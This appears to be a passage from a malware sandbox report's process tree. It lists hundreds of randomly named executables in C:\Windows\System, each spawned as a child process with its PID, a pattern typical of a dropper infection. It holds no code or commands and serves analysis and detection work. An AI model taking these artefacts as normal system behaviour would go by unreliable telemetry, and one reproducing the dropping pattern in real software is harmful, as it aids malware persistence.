  PID:844
- C:\Windows\System\VNHlFBb.exe
  C:\Windows\System\VNHlFBb.exe
  2⤵
  PID:13296
- C:\Windows\System\EFeNVdi.exe
  C:\Windows\System\EFeNVdi.exe
  2⤵
  PID:2224
- C:\Windows\System\rIHgNeD.exe
  C:\Windows\System\rIHgNeD.exe
  2⤵
  PID:12328
- C:\Windows\System\wYwzQKX.exe
  C:\Windows\System\wYwzQKX.exe
  2⤵
  PID:3664
- C:\Windows\System\SKKaOiA.exe
  C:\Windows\System\SKKaOiA.exe
  2⤵
  PID:1432
- C:\Windows\System\wgaWiyA.exe
  C:\Windows\System\wgaWiyA.exe
  2⤵
  PID:2000
- C:\Windows\System\ClbMeKs.exe
  C:\Windows\System\ClbMeKs.exe
  2⤵
  PID:12580
- C:\Windows\System\QIoraCS.exe
  C:\Windows\System\QIoraCS.exe
  2⤵
  PID:12616
- C:\Windows\System\tjfsMew.exe
  C:\Windows\System\tjfsMew.exe
  2⤵
  PID:12672
- C:\Windows\System\Wxwsikj.exe
  C:\Windows\System\Wxwsikj.exe
  2⤵
  PID:9324
- C:\Windows\System\JDlTMsx.exe
  C:\Windows\System\JDlTMsx.exe
  2⤵
  PID:12760
- C:\Windows\System\VwAxlOM.exe
  C:\Windows\System\VwAxlOM.exe
  2⤵
  PID:5288
- C:\Windows\System\HFmZRGa.exe
  C:\Windows\System\HFmZRGa.exe
  2⤵
  PID:5400
- C:\Windows\System\BiTKAGd.exe
  C:\Windows\System\BiTKAGd.exe
  2⤵
  PID:6748
- C:\Windows\System\RSwzpMx.exe
  C:\Windows\System\RSwzpMx.exe
  2⤵
  PID:12928
- C:\Windows\System\ysLTmgE.exe
  C:\Windows\System\ysLTmgE.exe
  2⤵
  PID:3532
- C:\Windows\System\YoFgiNK.exe
  C:\Windows\System\YoFgiNK.exe
  2⤵
  PID:4356
- C:\Windows\System\CCkXyIW.exe
  C:\Windows\System\CCkXyIW.exe
  2⤵
  PID:5524
- C:\Windows\System\XbmQqyV.exe
  C:\Windows\System\XbmQqyV.exe
  2⤵
  PID:12976
- C:\Windows\System\LXRMYXY.exe
  C:\Windows\System\LXRMYXY.exe
  2⤵
  PID:13048
- C:\Windows\System\ZhkYHgJ.exe
  C:\Windows\System\ZhkYHgJ.exe
  2⤵
  PID:3996
- C:\Windows\System\gNjuuOD.exe
  C:\Windows\System\gNjuuOD.exe
  2⤵
  PID:13116
- C:\Windows\System\TTfxAiU.exe
  C:\Windows\System\TTfxAiU.exe
  2⤵
  PID:13072
- C:\Windows\System\MKfGUXk.exe
  C:\Windows\System\MKfGUXk.exe
  2⤵
  PID:5784
- C:\Windows\System\kOAClYs.exe
  C:\Windows\System\kOAClYs.exe
  2⤵
  PID:6376
- C:\Windows\System\EvUwkKH.exe
  C:\Windows\System\EvUwkKH.exe
  2⤵
  PID:1552
- C:\Windows\System\uFUXIYt.exe
  C:\Windows\System\uFUXIYt.exe
  2⤵
  PID:13244
- C:\Windows\System\XKWAxSe.exe
  C:\Windows\System\XKWAxSe.exe
  2⤵
  PID:1524
- C:\Windows\System\nhagaHY.exe
  C:\Windows\System\nhagaHY.exe
  2⤵
  PID:5484
- C:\Windows\System\SFahJnB.exe
  C:\Windows\System\SFahJnB.exe
  2⤵
  PID:4800
- C:\Windows\System\PaZzdTU.exe
  C:\Windows\System\PaZzdTU.exe
  2⤵
  PID:1900
- C:\Windows\System\kXdfRiG.exe
  C:\Windows\System\kXdfRiG.exe
  2⤵
  PID:3680
- C:\Windows\System\SatpaBR.exe
  C:\Windows\System\SatpaBR.exe
  2⤵
  PID:12820
- C:\Windows\System\jzPaiEI.exe
  C:\Windows\System\jzPaiEI.exe
  2⤵
  PID:3056
- C:\Windows\System\SfUFFEI.exe
  C:\Windows\System\SfUFFEI.exe
  2⤵
  PID:1596
- C:\Windows\System\TNyagBi.exe
  C:\Windows\System\TNyagBi.exe
  2⤵
  PID:10136
- C:\Windows\System\KZVynKg.exe
  C:\Windows\System\KZVynKg.exe
  2⤵
  PID:12800
- C:\Windows\System\sCHbpvq.exe
  C:\Windows\System\sCHbpvq.exe
  2⤵
  PID:12712
- C:\Windows\System\XLRfGHk.exe
  C:\Windows\System\XLRfGHk.exe
  2⤵
  PID:12848
- C:\Windows\System\sNvvPos.exe
  C:\Windows\System\sNvvPos.exe
  2⤵
  PID:8740
- C:\Windows\System\lKFrNsb.exe
  C:\Windows\System\lKFrNsb.exe
  2⤵
  PID:2600
- C:\Windows\System\suYRELX.exe
  C:\Windows\System\suYRELX.exe
  2⤵
  PID:7884
- C:\Windows\System\dqcGliR.exe
  C:\Windows\System\dqcGliR.exe
  2⤵
  PID:12888
- C:\Windows\System\mwaRDja.exe
  C:\Windows\System\mwaRDja.exe
  2⤵
  PID:2724
- C:\Windows\System\zBDcMUv.exe
  C:\Windows\System\zBDcMUv.exe
  2⤵
  PID:9496
- C:\Windows\System\xTaMeGa.exe
  C:\Windows\System\xTaMeGa.exe
  2⤵
  PID:12392
- C:\Windows\System\tIEjOPS.exe
  C:\Windows\System\tIEjOPS.exe
  2⤵
  PID:1044
- C:\Windows\System\WRJDKnw.exe
  C:\Windows\System\WRJDKnw.exe
  2⤵
  PID:5744
- C:\Windows\System\VNfkkgy.exe
  C:\Windows\System\VNfkkgy.exe
  2⤵
  PID:2968
- C:\Windows\System\dqiCaJj.exe
  C:\Windows\System\dqiCaJj.exe
  2⤵
  PID:5856
- C:\Windows\System\hzaQits.exe
  C:\Windows\System\hzaQits.exe
  2⤵
  PID:5896
- C:\Windows\System\wkhQmeQ.exe
  C:\Windows\System\wkhQmeQ.exe
  2⤵
  PID:3564
- C:\Windows\System\PeHZrpj.exe
  C:\Windows\System\PeHZrpj.exe
  2⤵
  PID:5904
- C:\Windows\System\FAwViMz.exe
  C:\Windows\System\FAwViMz.exe
  2⤵
  PID:1212
- C:\Windows\System\MHuBEcU.exe
  C:\Windows\System\MHuBEcU.exe
  2⤵
  PID:12480
- C:\Windows\System\EYAaGFF.exe
  C:\Windows\System\EYAaGFF.exe
  2⤵
  PID:2252
- C:\Windows\System\CBbzfUn.exe
  C:\Windows\System\CBbzfUn.exe
  2⤵
  PID:12764
- C:\Windows\System\mNSpNKi.exe
  C:\Windows\System\mNSpNKi.exe
  2⤵
  PID:12684
- C:\Windows\System\dwScGRv.exe
  C:\Windows\System\dwScGRv.exe
  2⤵
  PID:4300
- C:\Windows\System\iIWcVBn.exe
  C:\Windows\System\iIWcVBn.exe
  2⤵
  PID:5216
- C:\Windows\System\AsCKPQz.exe
  C:\Windows\System\AsCKPQz.exe
  2⤵
  PID:13052
- C:\Windows\System\tjMqjIQ.exe
  C:\Windows\System\tjMqjIQ.exe
  2⤵
  PID:5328
- C:\Windows\System\ADsVcUf.exe
  C:\Windows\System\ADsVcUf.exe
  2⤵
  PID:2516
- C:\Windows\System\egXraIc.exe
  C:\Windows\System\egXraIc.exe
  2⤵
  PID:5504
- C:\Windows\System\GSVFHiz.exe
  C:\Windows\System\GSVFHiz.exe
  2⤵
  PID:5308
- C:\Windows\System\ODPIWfW.exe
  C:\Windows\System\ODPIWfW.exe
  2⤵
  PID:5540
- C:\Windows\System\YtAlpVF.exe
  C:\Windows\System\YtAlpVF.exe
  2⤵
  PID:12980
- C:\Windows\System\SnffAfi.exe
  C:\Windows\System\SnffAfi.exe
  2⤵
  PID:4396
- C:\Windows\System\SmujIjc.exe
  C:\Windows\System\SmujIjc.exe
  2⤵
  PID:2400
- C:\Windows\System\IPJWKjX.exe
  C:\Windows\System\IPJWKjX.exe
  2⤵
  PID:2440
- C:\Windows\System\Ympqmos.exe
  C:\Windows\System\Ympqmos.exe
  2⤵
  PID:12308
- C:\Windows\System\PugpQoo.exe
  C:\Windows\System\PugpQoo.exe
  2⤵
  PID:13032
- C:\Windows\System\jglTAWN.exe
  C:\Windows\System\jglTAWN.exe
  2⤵
  PID:13268
- C:\Windows\System\PxoIqQr.exe
  C:\Windows\System\PxoIqQr.exe
  2⤵
  PID:1292
- C:\Windows\System\NSWeAci.exe
  C:\Windows\System\NSWeAci.exe
  2⤵
  PID:3740
- C:\Windows\System\SiDTUah.exe
  C:\Windows\System\SiDTUah.exe
  2⤵
  PID:8084
- C:\Windows\System\VeZLeaP.exe
  C:\Windows\System\VeZLeaP.exe
  2⤵
  PID:2032
- C:\Windows\System\tnwBYYD.exe
  C:\Windows\System\tnwBYYD.exe
  2⤵
  PID:5964
- C:\Windows\System\RVDkUfU.exe
  C:\Windows\System\RVDkUfU.exe
  2⤵
  PID:2092
- C:\Windows\System\MypQEMm.exe
  C:\Windows\System\MypQEMm.exe
  2⤵
  PID:2248
- C:\Windows\System\mrZIruL.exe
  C:\Windows\System\mrZIruL.exe
  2⤵
  PID:12908
- C:\Windows\System\VSJsoEO.exe
  C:\Windows\System\VSJsoEO.exe
  2⤵
  PID:1568
- C:\Windows\System\FxTFIwY.exe
  C:\Windows\System\FxTFIwY.exe
  2⤵
  PID:12740
- C:\Windows\System\zgnZzSB.exe
  C:\Windows\System\zgnZzSB.exe
  2⤵
  PID:12996
- C:\Windows\System\TCjEBwb.exe
  C:\Windows\System\TCjEBwb.exe
  2⤵
  PID:3924
- C:\Windows\System\wtuYOul.exe
  C:\Windows\System\wtuYOul.exe
  2⤵
  PID:12332
- C:\Windows\System\KLxLVts.exe
  C:\Windows\System\KLxLVts.exe
  2⤵
  PID:3132
- C:\Windows\System\VwsuVXf.exe
  C:\Windows\System\VwsuVXf.exe
  2⤵
  PID:4540
- C:\Windows\System\vluVWYh.exe
  C:\Windows\System\vluVWYh.exe
  2⤵
  PID:6072
- C:\Windows\System\uoBdStw.exe
  C:\Windows\System\uoBdStw.exe
  2⤵
  PID:4768
- C:\Windows\System\kKmTHVc.exe
  C:\Windows\System\kKmTHVc.exe
  2⤵
  PID:6328
- C:\Windows\System\KnjTizt.exe
  C:\Windows\System\KnjTizt.exe
  2⤵
  PID:6172
- C:\Windows\System\uNalpip.exe
  C:\Windows\System\uNalpip.exe
  2⤵
  PID:6148
- C:\Windows\System\LLGYnhs.exe
  C:\Windows\System\LLGYnhs.exe
  2⤵
  PID:1612
- C:\Windows\System\sBNmGAN.exe
  C:\Windows\System\sBNmGAN.exe
  2⤵
  PID:416
- C:\Windows\System\TDHKzTV.exe
  C:\Windows\System\TDHKzTV.exe
  2⤵
  PID:224
- C:\Windows\System\BWUnjZL.exe
  C:\Windows\System\BWUnjZL.exe
  2⤵
  PID:6268
- C:\Windows\System\pMGeSLC.exe
  C:\Windows\System\pMGeSLC.exe
  2⤵
  PID:6284
- C:\Windows\System\fbLoKsy.exe
  C:\Windows\System\fbLoKsy.exe
  2⤵
  PID:1536
- C:\Windows\System\xoLudoc.exe
  C:\Windows\System\xoLudoc.exe
  2⤵
  PID:5344
- C:\Windows\System\VRzMpnn.exe
  C:\Windows\System\VRzMpnn.exe
  2⤵
  PID:9148
- C:\Windows\System\qAeOnIa.exe
  C:\Windows\System\qAeOnIa.exe
  2⤵
  PID:6088
- C:\Windows\System\IvMUOaW.exe
  C:\Windows\System\IvMUOaW.exe
  2⤵
  PID:6116
- C:\Windows\System\sEWGrsm.exe
  C:\Windows\System\sEWGrsm.exe
  2⤵
  PID:6364
- C:\Windows\System\jkFLhCQ.exe
  C:\Windows\System\jkFLhCQ.exe
  2⤵
  PID:13352
- C:\Windows\System\SsgzWfQ.exe
  C:\Windows\System\SsgzWfQ.exe
  2⤵
  PID:13376
- C:\Windows\System\zbFZsVo.exe
  C:\Windows\System\zbFZsVo.exe
  2⤵
  PID:13392
- C:\Windows\System\QFWbsnI.exe
  C:\Windows\System\QFWbsnI.exe
  2⤵
  PID:13460
- C:\Windows\System\CTllDnM.exe
  C:\Windows\System\CTllDnM.exe
  2⤵
  PID:13484
- C:\Windows\System\YQwFXRg.exe
  C:\Windows\System\YQwFXRg.exe
  2⤵
  PID:13516
- C:\Windows\System\etLujRe.exe
  C:\Windows\System\etLujRe.exe
  2⤵
  PID:13544
- C:\Windows\System\TmpcHXZ.exe
  C:\Windows\System\TmpcHXZ.exe
  2⤵
  PID:13564
- C:\Windows\System\dHTYgYN.exe
  C:\Windows\System\dHTYgYN.exe
  2⤵
  PID:13584
- C:\Windows\System\juhnwVB.exe
  C:\Windows\System\juhnwVB.exe
  2⤵
  PID:13608
- C:\Windows\System\vRxXpZS.exe
  C:\Windows\System\vRxXpZS.exe
  2⤵
  PID:13628
- C:\Windows\System\FHRCOXE.exe
  C:\Windows\System\FHRCOXE.exe
  2⤵
  PID:13732
- C:\Windows\System\AerJoNs.exe
  C:\Windows\System\AerJoNs.exe
  2⤵
  PID:13756
- C:\Windows\System\PTraRgn.exe
  C:\Windows\System\PTraRgn.exe
  2⤵
  PID:13776
- C:\Windows\System\haAkJMq.exe
  C:\Windows\System\haAkJMq.exe
  2⤵
  PID:13812
- C:\Windows\System\OAPnovk.exe
  C:\Windows\System\OAPnovk.exe
  2⤵
  PID:13836
- C:\Windows\System\lMnKlKf.exe
  C:\Windows\System\lMnKlKf.exe
  2⤵
  PID:13868
- C:\Windows\System\FTyVlPQ.exe
  C:\Windows\System\FTyVlPQ.exe
  2⤵
  PID:13892
- C:\Windows\System\pfVnXGf.exe
  C:\Windows\System\pfVnXGf.exe
  2⤵
  PID:13916
- C:\Windows\System\ezLWBCT.exe
  C:\Windows\System\ezLWBCT.exe
  2⤵
  PID:13944
- C:\Windows\System\hGBhYls.exe
  C:\Windows\System\hGBhYls.exe
  2⤵
  PID:13968
- C:\Windows\System\yNWmxmu.exe
  C:\Windows\System\yNWmxmu.exe
  2⤵
  PID:13984
- C:\Windows\System\aYgimEQ.exe
  C:\Windows\System\aYgimEQ.exe
  2⤵
  PID:14008
- C:\Windows\System\kASpkGB.exe
  C:\Windows\System\kASpkGB.exe
  2⤵
  PID:14028
- C:\Windows\System\XABvLyl.exe
  C:\Windows\System\XABvLyl.exe
  2⤵
  PID:14052
- C:\Windows\System\aPUnqju.exe
  C:\Windows\System\aPUnqju.exe
  2⤵
  PID:14124
- C:\Windows\System\NalZPqG.exe
  C:\Windows\System\NalZPqG.exe
  2⤵
  PID:14140
- C:\Windows\System\MiCUxgb.exe
  C:\Windows\System\MiCUxgb.exe
  2⤵
  PID:14160
- C:\Windows\System\bJmAiQZ.exe
  C:\Windows\System\bJmAiQZ.exe
  2⤵
  PID:14188
- C:\Windows\System\AgZjHLQ.exe
  C:\Windows\System\AgZjHLQ.exe
  2⤵
  PID:14208
- C:\Windows\System\QWSbqvI.exe
  C:\Windows\System\QWSbqvI.exe
  2⤵
  PID:14224
- C:\Windows\System\IsOSqja.exe
  C:\Windows\System\IsOSqja.exe
  2⤵
  PID:14244
- C:\Windows\System\luToZCs.exe
  C:\Windows\System\luToZCs.exe
  2⤵
  PID:14268
- C:\Windows\System\SZXTmSo.exe
  C:\Windows\System\SZXTmSo.exe
  2⤵
  PID:3748
- C:\Windows\System\tKcflXS.exe
  C:\Windows\System\tKcflXS.exe
  2⤵
  PID:13364
- C:\Windows\System\OizQIaZ.exe
  C:\Windows\System\OizQIaZ.exe
  2⤵
  PID:13480
- C:\Windows\System\NqPCnzc.exe
  C:\Windows\System\NqPCnzc.exe
  2⤵
  PID:13576
- C:\Windows\System\sNsHyoQ.exe
  C:\Windows\System\sNsHyoQ.exe
  2⤵
  PID:13372
- C:\Windows\System\jECpWgI.exe
  C:\Windows\System\jECpWgI.exe
  2⤵
  PID:13456
- C:\Windows\System\kOuyVdZ.exe
  C:\Windows\System\kOuyVdZ.exe
  2⤵
  PID:13408
- C:\Windows\System\JsRPhzb.exe
  C:\Windows\System\JsRPhzb.exe
  2⤵
  PID:13528
- C:\Windows\System\utZoFce.exe
  C:\Windows\System\utZoFce.exe
  2⤵
  PID:4900
- C:\Windows\System\HAtwgGl.exe
  C:\Windows\System\HAtwgGl.exe
  2⤵
  PID:13980
- C:\Windows\System\UzMcAch.exe
  C:\Windows\System\UzMcAch.exe
  2⤵
  PID:13996
- C:\Windows\System\nugoZVO.exe
  C:\Windows\System\nugoZVO.exe
  2⤵
  PID:14048
- C:\Windows\System\AaMkQBG.exe
  C:\Windows\System\AaMkQBG.exe
  2⤵
  PID:13924
- C:\Windows\System\OmNGuto.exe
  C:\Windows\System\OmNGuto.exe
  2⤵
  PID:14088
- C:\Windows\System\XCuloAG.exe
  C:\Windows\System\XCuloAG.exe
  2⤵
  PID:6752
- C:\Windows\System\yAAuNjZ.exe
  C:\Windows\System\yAAuNjZ.exe
  2⤵
  PID:6580
- C:\Windows\System\HLpvPtm.exe
  C:\Windows\System\HLpvPtm.exe
  2⤵
  PID:13936
- C:\Windows\System\ZcyxOFF.exe
  C:\Windows\System\ZcyxOFF.exe
  2⤵
  PID:6652
- C:\Windows\System\IJEghQm.exe
  C:\Windows\System\IJEghQm.exe
  2⤵
  PID:14040
- C:\Windows\System\cRgyoGE.exe
  C:\Windows\System\cRgyoGE.exe
  2⤵
  PID:6944
- C:\Windows\System\rufdZtG.exe
  C:\Windows\System\rufdZtG.exe
  2⤵
  PID:14204
- C:\Windows\System\TjUtazO.exe
  C:\Windows\System\TjUtazO.exe
  2⤵
  PID:14236
- C:\Windows\System\HHcRVGw.exe
  C:\Windows\System\HHcRVGw.exe
  2⤵
  PID:14284
- C:\Windows\System\DuYkikS.exe
  C:\Windows\System\DuYkikS.exe
  2⤵
  PID:3824
- C:\Windows\System\zwQNmXF.exe
  C:\Windows\System\zwQNmXF.exe
  2⤵
  PID:6900
- C:\Windows\System\nByVRni.exe
  C:\Windows\System\nByVRni.exe
  2⤵
  PID:9144
- C:\Windows\System\vNJVTal.exe
  C:\Windows\System\vNJVTal.exe
  2⤵
  PID:1132
- C:\Windows\System\pgPVDme.exe
  C:\Windows\System\pgPVDme.exe
  2⤵
  PID:13448
- C:\Windows\System\wYSnPsV.exe
  C:\Windows\System\wYSnPsV.exe
  2⤵
  PID:13600
- C:\Windows\System\PvCeChA.exe
  C:\Windows\System\PvCeChA.exe
  2⤵
  PID:13504
- C:\Windows\System\WnIKvJw.exe
  C:\Windows\System\WnIKvJw.exe
  2⤵
  PID:7040
- C:\Windows\System\UTCyEHi.exe
  C:\Windows\System\UTCyEHi.exe
  2⤵
  PID:6288
- C:\Windows\System\uFmlXbx.exe
  C:\Windows\System\uFmlXbx.exe
  2⤵
  PID:6496
- C:\Windows\System\VegBMEJ.exe
  C:\Windows\System\VegBMEJ.exe
  2⤵
  PID:13648
- C:\Windows\System\mLmrMqN.exe
  C:\Windows\System\mLmrMqN.exe
  2⤵
  PID:14024
- C:\Windows\System\WJeOZPh.exe
  C:\Windows\System\WJeOZPh.exe
  2⤵
  PID:13560
- C:\Windows\System\giUsljg.exe
  C:\Windows\System\giUsljg.exe
  2⤵
  PID:1656
- C:\Windows\System\cREJnMS.exe
  C:\Windows\System\cREJnMS.exe
  2⤵
  PID:6608
- C:\Windows\System\SiPSstq.exe
  C:\Windows\System\SiPSstq.exe
  2⤵
  PID:13492
- C:\Windows\System\RSkZBsa.exe
  C:\Windows\System\RSkZBsa.exe
  2⤵
  PID:12424
- C:\Windows\System\qByHBOs.exe
  C:\Windows\System\qByHBOs.exe
  2⤵
  PID:7052
- C:\Windows\System\xQtLxwW.exe
  C:\Windows\System\xQtLxwW.exe
  2⤵
  PID:6084
- C:\Windows\System\dqpaker.exe
  C:\Windows\System\dqpaker.exe
  2⤵
  PID:4584
- C:\Windows\System\reedtXF.exe
  C:\Windows\System\reedtXF.exe
  2⤵
  PID:14252
- C:\Windows\System\tLiOdyW.exe
  C:\Windows\System\tLiOdyW.exe
  2⤵
  PID:13888
- C:\Windows\System\UNaXudg.exe
  C:\Windows\System\UNaXudg.exe
  2⤵
  PID:6300
- C:\Windows\System\JmpdmPs.exe
  C:\Windows\System\JmpdmPs.exe
  2⤵
  PID:6696
- C:\Windows\System\DpEEpDj.exe
  C:\Windows\System\DpEEpDj.exe
  2⤵
  PID:1248
- C:\Windows\System\CIFsMiD.exe
  C:\Windows\System\CIFsMiD.exe
  2⤵
  PID:6560
- C:\Windows\System\lMtIdiy.exe
  C:\Windows\System\lMtIdiy.exe
  2⤵
  PID:6524
- C:\Windows\System\WDomeCG.exe
  C:\Windows\System\WDomeCG.exe
  2⤵
  PID:6264
- C:\Windows\System\fnmgofz.exe
  C:\Windows\System\fnmgofz.exe
  2⤵
  PID:5380
- C:\Windows\System\uFaBUQr.exe
  C:\Windows\System\uFaBUQr.exe
  2⤵
  PID:6876
- C:\Windows\System\GACvthG.exe
  C:\Windows\System\GACvthG.exe
  2⤵
  PID:6972
- C:\Windows\System\DXQMapm.exe
  C:\Windows\System\DXQMapm.exe
  2⤵
  PID:6320
- C:\Windows\System\vYdHplO.exe
  C:\Windows\System\vYdHplO.exe
  2⤵
  PID:6512
- C:\Windows\System\gvXvWXH.exe
  C:\Windows\System\gvXvWXH.exe
  2⤵
  PID:6776
- C:\Windows\System\ftCLFSW.exe
  C:\Windows\System\ftCLFSW.exe
  2⤵
  PID:14436
- C:\Windows\System\LkcwWqP.exe
  C:\Windows\System\LkcwWqP.exe
  2⤵
  PID:14544
- C:\Windows\System\szryhuV.exe
  C:\Windows\System\szryhuV.exe
  2⤵
  PID:14564
- C:\Windows\System\crPpKlf.exe
  C:\Windows\System\crPpKlf.exe
  2⤵
  PID:14612
- C:\Windows\System\gZwtaDR.exe
  C:\Windows\System\gZwtaDR.exe
  2⤵
  PID:14652
- C:\Windows\System\bHGFYIB.exe
  C:\Windows\System\bHGFYIB.exe
  2⤵
  PID:14744
- C:\Windows\System\qUBodfe.exe
  C:\Windows\System\qUBodfe.exe
  2⤵
  PID:14816
- C:\Windows\System\mspHGyu.exe
  C:\Windows\System\mspHGyu.exe
  2⤵
  PID:14836
- C:\Windows\System\TKdJOwG.exe
  C:\Windows\System\TKdJOwG.exe
  2⤵
  PID:14860
- C:\Windows\System\QpCVOnc.exe
  C:\Windows\System\QpCVOnc.exe
  2⤵
  PID:14880
- C:\Windows\System\iRLczFb.exe
  C:\Windows\System\iRLczFb.exe
  2⤵
  PID:14900
- C:\Windows\System\dYQXnjB.exe
  C:\Windows\System\dYQXnjB.exe
  2⤵
  PID:14920
- C:\Windows\System\UUkJGIk.exe
  C:\Windows\System\UUkJGIk.exe
  2⤵
  PID:15068
- C:\Windows\System\rILkJCE.exe
  C:\Windows\System\rILkJCE.exe
  2⤵
  PID:15084
- C:\Windows\System\sqvCTHo.exe
  C:\Windows\System\sqvCTHo.exe
  2⤵
  PID:15104
- C:\Windows\System\Pinyppl.exe
  C:\Windows\System\Pinyppl.exe
  2⤵
  PID:15120
- C:\Windows\System\hYWKFze.exe
  C:\Windows\System\hYWKFze.exe
  2⤵
  PID:15160
- C:\Windows\System\TmXsWCY.exe
  C:\Windows\System\TmXsWCY.exe
  2⤵
  PID:15240
- C:\Windows\System\CigNGkH.exe
  C:\Windows\System\CigNGkH.exe
  2⤵
  PID:15260
- C:\Windows\System\dznqnXI.exe
  C:\Windows\System\dznqnXI.exe
  2⤵
  PID:15280
- C:\Windows\System\fKvfwdj.exe
  C:\Windows\System\fKvfwdj.exe
  2⤵
  PID:15300
- C:\Windows\System\axXkmuU.exe
  C:\Windows\System\axXkmuU.exe
  2⤵
  PID:15320
- C:\Windows\System\QWblMht.exe
  C:\Windows\System\QWblMht.exe
  2⤵
  PID:15336
- C:\Windows\System\ddRznoD.exe
  C:\Windows\System\ddRznoD.exe
  2⤵
  PID:9280
- C:\Windows\System\LmEohAL.exe
  C:\Windows\System\LmEohAL.exe
  2⤵
  PID:6492
- C:\Windows\System\cgkEaIf.exe
  C:\Windows\System\cgkEaIf.exe
  2⤵
  PID:4404
- C:\Windows\System\OyIolws.exe
  C:\Windows\System\OyIolws.exe
  2⤵
  PID:13404
- C:\Windows\System\xOttLQe.exe
  C:\Windows\System\xOttLQe.exe
  2⤵
  PID:7464
- C:\Windows\System\fLacltv.exe
  C:\Windows\System\fLacltv.exe
  2⤵
  PID:7660
- C:\Windows\System\yBtGrGO.exe
  C:\Windows\System\yBtGrGO.exe
  2⤵
  PID:14172
- C:\Windows\System\RryljVh.exe
  C:\Windows\System\RryljVh.exe
  2⤵
  PID:14156
- C:\Windows\System\PhTWthz.exe
  C:\Windows\System\PhTWthz.exe
  2⤵
  PID:14456
- C:\Windows\System\KsWrjAP.exe
  C:\Windows\System\KsWrjAP.exe
  2⤵
  PID:6416
- C:\Windows\System\pzyGSvs.exe
  C:\Windows\System\pzyGSvs.exe
  2⤵
  PID:14432
- C:\Windows\System\Ggerbcs.exe
  C:\Windows\System\Ggerbcs.exe
  2⤵
  PID:3844
- C:\Windows\System\NeVsCaN.exe
  C:\Windows\System\NeVsCaN.exe
  2⤵
  PID:14704
- C:\Windows\System\JcaYnuq.exe
  C:\Windows\System\JcaYnuq.exe
  2⤵
  PID:14756
- C:\Windows\System\MqJvaQP.exe
  C:\Windows\System\MqJvaQP.exe
  2⤵
  PID:14664
- C:\Windows\System\SJGRxFb.exe
  C:\Windows\System\SJGRxFb.exe
  2⤵
  PID:14696
- C:\Windows\System\CYGXoLi.exe
  C:\Windows\System\CYGXoLi.exe
  2⤵
  PID:10868
- C:\Windows\System\yimhOFn.exe
  C:\Windows\System\yimhOFn.exe
  2⤵
  PID:11144
- C:\Windows\System\QmTliYk.exe
  C:\Windows\System\QmTliYk.exe
  2⤵
  PID:14580
- C:\Windows\System\MtcfzVE.exe
  C:\Windows\System\MtcfzVE.exe
  2⤵
  PID:14600
- C:\Windows\System\akBZgXC.exe
  C:\Windows\System\akBZgXC.exe
  2⤵
  PID:14672
- C:\Windows\System\TyMyChk.exe
  C:\Windows\System\TyMyChk.exe
  2⤵
  PID:7864
- C:\Windows\System\FkFfUnL.exe
  C:\Windows\System\FkFfUnL.exe
  2⤵
  PID:14892
- C:\Windows\System\mNPWpSl.exe
  C:\Windows\System\mNPWpSl.exe
  2⤵
  PID:14936
- C:\Windows\System\HZNXJPQ.exe
  C:\Windows\System\HZNXJPQ.exe
  2⤵
  PID:10628
- C:\Windows\System\qCKRPpr.exe
  C:\Windows\System\qCKRPpr.exe
  2⤵
  PID:208
- C:\Windows\System\EwnTptm.exe
  C:\Windows\System\EwnTptm.exe
  2⤵
  PID:14824
- C:\Windows\System\vgLWcMo.exe
  C:\Windows\System\vgLWcMo.exe
  2⤵
  PID:14956
- C:\Windows\System\XnNdVCb.exe
  C:\Windows\System\XnNdVCb.exe
  2⤵
  PID:7372
- C:\Windows\System\JeZDENc.exe
  C:\Windows\System\JeZDENc.exe
  2⤵
  PID:14916
- C:\Windows\System\QROMVLh.exe
  C:\Windows\System\QROMVLh.exe
  2⤵
  PID:7656
- C:\Windows\System\pYhoSGg.exe
  C:\Windows\System\pYhoSGg.exe
  2⤵
  PID:2900
- C:\Windows\System\dHtFfKs.exe
  C:\Windows\System\dHtFfKs.exe
  2⤵
  PID:11344
- C:\Windows\System\yIcRVzq.exe
  C:\Windows\System\yIcRVzq.exe
  2⤵
  PID:7868
- C:\Windows\System\neGcWAu.exe
  C:\Windows\System\neGcWAu.exe
  2⤵
  PID:7364
- C:\Windows\System\ZlACCLM.exe
  C:\Windows\System\ZlACCLM.exe
  2⤵
  PID:8116
- C:\Windows\System\AYkKTFH.exe
  C:\Windows\System\AYkKTFH.exe
  2⤵
  PID:8028
- C:\Windows\System\vuFNPpQ.exe
  C:\Windows\System\vuFNPpQ.exe
  2⤵
  PID:7940
- C:\Windows\System\pwNWPGY.exe
  C:\Windows\System\pwNWPGY.exe
  2⤵
  PID:8088
- C:\Windows\System\EIyxaOo.exe
  C:\Windows\System\EIyxaOo.exe
  2⤵
  PID:7540
- C:\Windows\System\DIilmaG.exe
  C:\Windows\System\DIilmaG.exe
  2⤵
  PID:15148
- C:\Windows\System\mgYXppE.exe
  C:\Windows\System\mgYXppE.exe
  2⤵
  PID:8336
- C:\Windows\System\vBtMjuX.exe
  C:\Windows\System\vBtMjuX.exe
  2⤵
  PID:7584
- C:\Windows\System\BBcBTiS.exe
  C:\Windows\System\BBcBTiS.exe
  2⤵
  PID:8392
- C:\Windows\System\OXKmrjZ.exe
  C:\Windows\System\OXKmrjZ.exe
  2⤵
  PID:11396
- C:\Windows\System\YEEPlAg.exe
  C:\Windows\System\YEEPlAg.exe
  2⤵
  PID:11476
- C:\Windows\System\EAGnfWg.exe
  C:\Windows\System\EAGnfWg.exe
  2⤵
  PID:11576
- C:\Windows\System\TkglPOh.exe
  C:\Windows\System\TkglPOh.exe
  2⤵
  PID:11624
- C:\Windows\System\XCcoMUi.exe
  C:\Windows\System\XCcoMUi.exe
  2⤵
  PID:15024
- C:\Windows\System\fAXiEbF.exe
  C:\Windows\System\fAXiEbF.exe
  2⤵
  PID:7208
- C:\Windows\System\GdGcVgC.exe
  C:\Windows\System\GdGcVgC.exe
  2⤵
  PID:15140
- C:\Windows\System\hzJfMKA.exe
  C:\Windows\System\hzJfMKA.exe
  2⤵
  PID:8056
- C:\Windows\System\fnkcIYN.exe
  C:\Windows\System\fnkcIYN.exe
  2⤵
  PID:15268
- C:\Windows\System\uePkmmb.exe
  C:\Windows\System\uePkmmb.exe
  2⤵
  PID:15312
- C:\Windows\System\LtDVLPO.exe
  C:\Windows\System\LtDVLPO.exe
  2⤵
  PID:11696
- C:\Windows\System\IsyxYgd.exe
  C:\Windows\System\IsyxYgd.exe
  2⤵
  PID:11764
- C:\Windows\System\qXBkCpW.exe
  C:\Windows\System\qXBkCpW.exe
  2⤵
  PID:11828
- C:\Windows\System\eSUPlBS.exe
  C:\Windows\System\eSUPlBS.exe
  2⤵
  PID:11924
- C:\Windows\System\xEauxEj.exe
  C:\Windows\System\xEauxEj.exe
  2⤵
  PID:15092
- C:\Windows\System\nPfZhXq.exe
